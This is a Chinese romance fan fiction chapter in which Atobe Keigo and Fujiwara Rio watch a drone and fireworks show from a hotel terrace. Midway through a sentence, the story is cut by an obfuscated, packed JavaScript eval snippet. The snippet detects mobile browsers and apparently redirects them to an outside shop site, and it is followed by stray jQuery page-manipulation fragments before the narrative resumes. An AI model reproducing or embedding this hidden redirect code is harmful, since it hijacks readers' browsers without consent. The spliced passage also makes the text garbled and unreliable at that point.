梨央被完全占领进了他的领域中。


    他的影子纤长,他的气味浓烈,还有那双俯视着凝望她的眼睛。


    一浪一浪翻滚的蓝墨色,再进一寸仿佛就要把她整个人吞噬其中。


    她稍微往后退了一步,下意识地抓紧身上的衬衫。企图利用这一层庇护与他隔开,挡住他的威势,给自己多少留一点领地主权。


    ——然后,她发现这完全是大错特错的决策!


    因为身上这件白衬衫,还是他的。


    拢得更紧,好像是在主动投怀送抱一样。


    梨央:“……”


    会长,好狡猾,好狡猾好狡猾!


    简直太可恶了,他运筹帷幄地知道如何做能让她无处可逃。


    她在心底里这么无能为力地愤懑控诉着,腿脚却再也动不了。仰头和他对视,像站在一眼望去只能看到幽幽墨蓝的深海边上。


    漂亮,吸引人,也危机四伏。


    一瞬间的心悸,一瞬间的窒息,轮番折磨。


    小腿发软。


    不由自主地屏住呼气和吐气。她慢慢感到发低烧似的头晕。


    “啊嗯?”


    得寸进尺的侵略者,对她发出一个游刃有余的低沉短音。


    “怎么不说话?”


    迹部景吾微眯起眼睛。那束从他额发下刺出的光,更具有穿透性,像揪出敌人的探照灯。


    一点尖利,一点戏谑,但都是很随意的调子,是以没有其他意思,只是和善地调侃她。


    见她久久不回答,忽然又浮出些玩味的笑。


    “藤原梨央,”他字句清晰地咬出她的名字,“有时候我真不知道你到底在想什么。”


    “……没有想什么,明明是会长你自己想太多,”梨央小声又极具底气地反驳,“我才没有激动。”


    “没有激动,又不觉得冷,你手臂起这么多鸡皮疙瘩?”问题又转回原点,他似乎不肯轻易在这个节点上睁一只眼闭一只眼。


    “有风,”这回她声音变大了,从小声喵喵到大声哔哔,“酒店空调的风开得好大。”


    笃定老成的语气,极具确定性。在让别人相信之前,先让自己相信。不然,会长这脑瓜子可不好糊弄——总不能傻里傻气地告诉他,自己是因为“未婚夫妻”这几个字,在心里咿咿呀呀了老半天吧?


    实在丢不起这个人。


    会长面对这件事能如此泰然处之,而她却沉不住气如此毛躁,搞得她好像多在意似的。


    太丢脸了。


    迹部景吾挺直了和她身高处同一水平的弯下的脊背。笼在她头顶的阴影退守了。他的双手仍揣在裤兜里,目光认真地探索她的神情。


    似乎真相蕴藏在她的脸,她的眼睛里,而不是吹空调风的酒店。


    最后得出结论——


    “嗯,风是有点大。”他笑着点头。


    梨央:“……”


    怎么总觉得会长在阴阳怪气她……


    迹部景吾转身,迈开大长腿向前走。


    “会长,”梨央紧跟其后,脱下白衬衫,伸手,“你的衬衫……”既然不感到冷,还是赶紧还给会长好了。


    “晚上风大,你先拿着,不急着还我。”


    他走了几步,忽然停下,又调转脚步看她。


    “藤原,有想去的地方么?”


    要说特别想去逛的地方……还真没有。


    除了有时候陪真纪遛狗,她基本没有晚上散步消食的习惯。


    “我暂时想不到有什么想去的地方,”她将衬衫搭在手臂上,反问,“会长你呢?你有想去的地方吗?”


    “我么?”


    迹部景吾站在离她三四步远的地方。


    酒店堂顶上的灯不亮,一团迷糊的湿晕,像薄雾沾在他的眼睫上。


    “我想去哪里不重要,”他凝视着她,眼中的笑意不散,“我都听你的。”


    ……得,选择权又转回到她这里。


    好吧,既然如此,今天晚上就让她做一回会长的主,让会长跟着她走吧。


    她往东,会长就往东。


    她往西,会长就往西。


    真没想到有朝一日,她居然也能做上会长的主了……虽然不是什么大事,想想还真是新奇的体验,有点小得意。


    她的视线在酒店中四处乱转,注意到走廊旁有一个延伸出去的露天花台,正对着海湾。


    对面的天空上,像缓缓拉开一块大剧幕,展示出无人机翻转扬升的表演。五颜六色的尾气拖拽,在黑色穹顶上画出绚烂的图案。


    梨央兴致勃勃地一指花台方向,“会长,我们去那边看看吧。”


    “好。”迹部景吾愉悦应声。


    一副听之任之,被她牵着鼻子走的态度。


    露天花台三三两两围拢人,趴在栏杆上,说两句闲话。或抬头观赏天际的无人机表演,或低头眺望脚底下灯火交织的城市。


    梨央和迹部景吾挑了较为偏僻的地方,在星光下并肩站立。


    她扬起下颏看天,他侧转目光看她。


    看着看着,他的身体完全朝向了她的方向。


    眼角上扬的角度在黑夜不用加以掩饰。无人机表演被他全然遗忘在脑后。


    然而,梨央的注意力已经为高超复杂的无人机表演技术吸引了。


    出于i人爱宅不爱凑热闹的个性,许多大型空中表演她几乎很少参加。今天晚上乍然一见,少不了觉得新奇。


    她看得沉浸,沉浸在这场精妙的艺术中。忽然,“轰”地一声,一阵巨响炸开,激得周围人纷纷赞叹惊叫。


    梨央吓得往后踉跄两步。


    幸好迹部景吾眼疾手快,伸出手臂护住她,才好险没让人摔了。


    无人机飞绕几圈,开始投放烟花弹。一大片一大片密


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702147|142301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    集的光点摇曳,像千万棵树绽出花朵,又像千万颗星子吹落如雨。


    “哇——”


    梨央睁圆了眼睛感慨一声,忙不迭掏出手机对着天空一顿拍,“赶紧照几张下来,下次附在给姑姑寄的明信片里。”


    虽然当前的网络技术已十分发达,就算远隔大洋两头,发信息通过无线通信传递给对方不过分秒,但梨央有时仍保留寄明信片的习惯。


    现在她身处日本,每隔一段时间,会写一些趣事,贴几张有意思的照片,通过国际快递不远万里寄送到姑姑手上。


    而此前在美国时,“姑姑”这一对象,则会被替换成迹部瑛子阿姨。


    她相信,亲笔写下的字迹,塑料相片的质感,有着冰冷的代码无法替代的温度,比光纤更能直白地传递自己的情感。


    迹部景吾的视野始终牢牢定格在她身上。


    “藤原,”他支起下颌,冷不防开口,“拍的照片等下也发给我几张。”


    又想到莫名其妙的恐怕比较生硬,遂补充理由,“我把这些照片寄给英国的发小,让他们也看看我们迹部家的无人机技术。”


    “啊?这场无人机表演是会长你们家安排的吗?”梨央有些震惊,正主发话她也没有理由拒绝,“好的会长,我回去稍微ps得好看点,再发给你。”


    “嗯,随你。”


    “不过会长,你应该没有寄明信片的习惯吧……打算给你的发小写些什么呢?”


    她举起手机镜头,一边又拍几张一边开玩笑道,“该不会写‘都来给本大爷看看迹部家华丽的无人机’吧?哈哈哈。”


    迹部景吾斜倚栏杆的姿势下压了一点。


    眼光落到她润泽了点水光的唇上。


    一张一合,他看得分明。她说的话,他却没心思听。


    “写什么的话,倒还没想好。”迹部景吾漫不经心答道。


    几张虚无的明信片,似乎也没必要费心思遣词造句,绞尽脑汁思考写什么。


    不过,如果真有哪一天心血来潮想寄出明信片,要给明信片上加几句描述。


    他不会写“都来给本大爷看看迹部家华丽的无人机”这样带有个人特色的段落。


    那太无趣了。


    远处又响起一声爆裂声。


    梨央第二次瞪圆眼睛。这次她没被吓到,眸中的兴致越来越高涨。


    他眯起眼。风从鬓角吹过。


    或许,可能会写这样一段话。


    说他有天晚上,和一个人一起去看了迹部家的无人机表演。


    精彩的表演引起阵阵骚动,不愧是他们迹部家的技术。


    但他眼里根本看不见这些。


    而另一个人却看得很开心。


    甚至一边看,一边开心地拍照。


    可他却没有这样的待遇。


    ——是不是很不公平,雷欧?


    好不公平。